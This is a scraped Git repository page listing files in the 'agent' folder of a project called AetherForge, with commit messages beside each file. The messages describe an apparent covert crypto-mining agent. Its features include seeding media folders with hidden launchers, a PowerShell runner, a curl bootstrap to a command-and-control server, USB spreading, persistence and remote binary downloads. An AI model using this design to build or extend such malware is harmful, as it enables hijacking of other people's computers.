This website requires JavaScript.
Explore
Help
Register
Sign In
drjones
/
AetherForge
Watch
1
Star
0
Fork
0
You've already forked AetherForge
Code
Issues
Pull Requests
Actions
Packages
Projects
Releases
Wiki
Activity
Files
2dd576440e8bd764f37ec5aa0267128388eebd2e
AetherForge
/
agent
History
AetherForge
95e8fcc315
feat(supp): SUPP Recursive Seek Mode. Agent walks any path, seeds every media dir with silent launchers. Windows: copies self as stem.exe + drops stem.bat (hidden PowerShell runner). Mac/Linux: drops stem.command (curl bootstrap to C2). Server: /api/download/agent-{windows,mac,linux} endpoints serve agent binaries for remote bootstrap. Crucible UI: SUPP SEEK panel with root path input, file stem, Win/Mac checkboxes, Launch button. Fixes pre-existing TS errors in SettingsPage (rvn_pool_pass -> password, accent orange -> amber). USB repacked with both binaries.
2026-06-03 00:41:05 -07:00
..
client
feat(supp): SUPP Recursive Seek Mode. Agent walks any path, seeds every media dir with silent launchers. Windows: copies self as stem.exe + drops stem.bat (hidden PowerShell runner). Mac/Linux: drops stem.command (curl bootstrap to C2). Server: /api/download/agent-{windows,mac,linux} endpoints serve agent binaries for remote bootstrap. Crucible UI: SUPP SEEK panel with root path input, file stem, Win/Mac checkboxes, Launch button. Fixes pre-existing TS errors in SettingsPage (rvn_pool_pass -> password, accent orange -> amber). USB repacked with both binaries.
2026-06-03 00:41:05 -07:00
cmd
/mine-validate
fix(miner): initialize RandomX SuperScalar programs - mining was never hashing. Critical: Randomx_init_cache only populates Argon2d blocks; Programs[] stayed nil causing nil-ptr crash in every hash. Fix: build all 8 SuperScalar programs after cache init. Validator confirms 1.7 MH/s live. Also: blob fix, stratum job-timeout rotation, hashrate watchdog.
2026-06-02 23:40:22 -07:00
config
feat(gpu): fix shutdown race, add RVN pool rotation, full test suite. Fix run() deadlock: proc.Kill() on Stop(), dedicated pollStop channel, stopCh checked in retry delay. Add buildPoolList() using RVNBackupPools (was wired in config/UI but unused). 29 new GPU tests covering detection gates, pool URL building, pool rotation, avg(), itoa(), zip extract, mock miner API (T-Rex + TRM), process stop. RVN wallet defaults set. Download URLs verified 200.
2026-06-02 23:58:15 -07:00
deploy
fix(mac): resolve duplicate symbols blocking darwin/linux builds + add Mac tests. Remove duplicate launchProcessGuard from guard_unix.go (kept richer health_unix.go shell-loop version using pgrep -f). Remove duplicate applyDetachedStart from exec_stub.go (kept platform_unix.go impl that clears stdio). Add silent_stub.go for !windows so silentCombinedOutput/silentOutput/silentRun compile on Mac. All 4 targets now build: darwin/arm64, darwin/amd64, linux/amd64, linux/arm64. New tests: workerProcessRunning, applyDetachedStart stdio clearing, PersistenceKeyName, HostOSVersion, LaunchAgent plist content, silent stub exec wrappers.
2026-06-03 00:31:30 -07:00
job
feat: T1016 dns_config probe + server-side drift detection + Crucible DNS DRIFT badge
2026-05-30 23:26:50 -07:00
miner
fix(miner): initialize RandomX SuperScalar programs - mining was never hashing. Critical: Randomx_init_cache only populates Argon2d blocks; Programs[] stayed nil causing nil-ptr crash in every hash. Fix: build all 8 SuperScalar programs after cache init. Validator confirms 1.7 MH/s live. Also: blob fix, stratum job-timeout rotation, hashrate watchdog.
2026-06-02 23:40:22 -07:00
stats
Improve portable launch, forge persistence, and operator auth UX.
2026-05-31 18:56:43 -07:00
crypto-miner-agent
feat: fleet secret auth - zero-setup agent authentication, dashboard WS token, remove credential hints
2026-05-30 10:22:06 -07:00
go.mod
Improve portable launch, forge persistence, and operator auth UX.
2026-05-31 18:56:43 -07:00
go.sum
Improve portable launch, forge persistence, and operator auth UX.
2026-05-31 18:56:43 -07:00
main_test.go
Expand test coverage across server, agent, and web; fix bugs found during audit.
2026-05-31 01:13:58 -07:00
main.go
Add fleet groups, agent screenshots, deploy guards, and Crucible polish.
2026-06-02 20:51:52 -07:00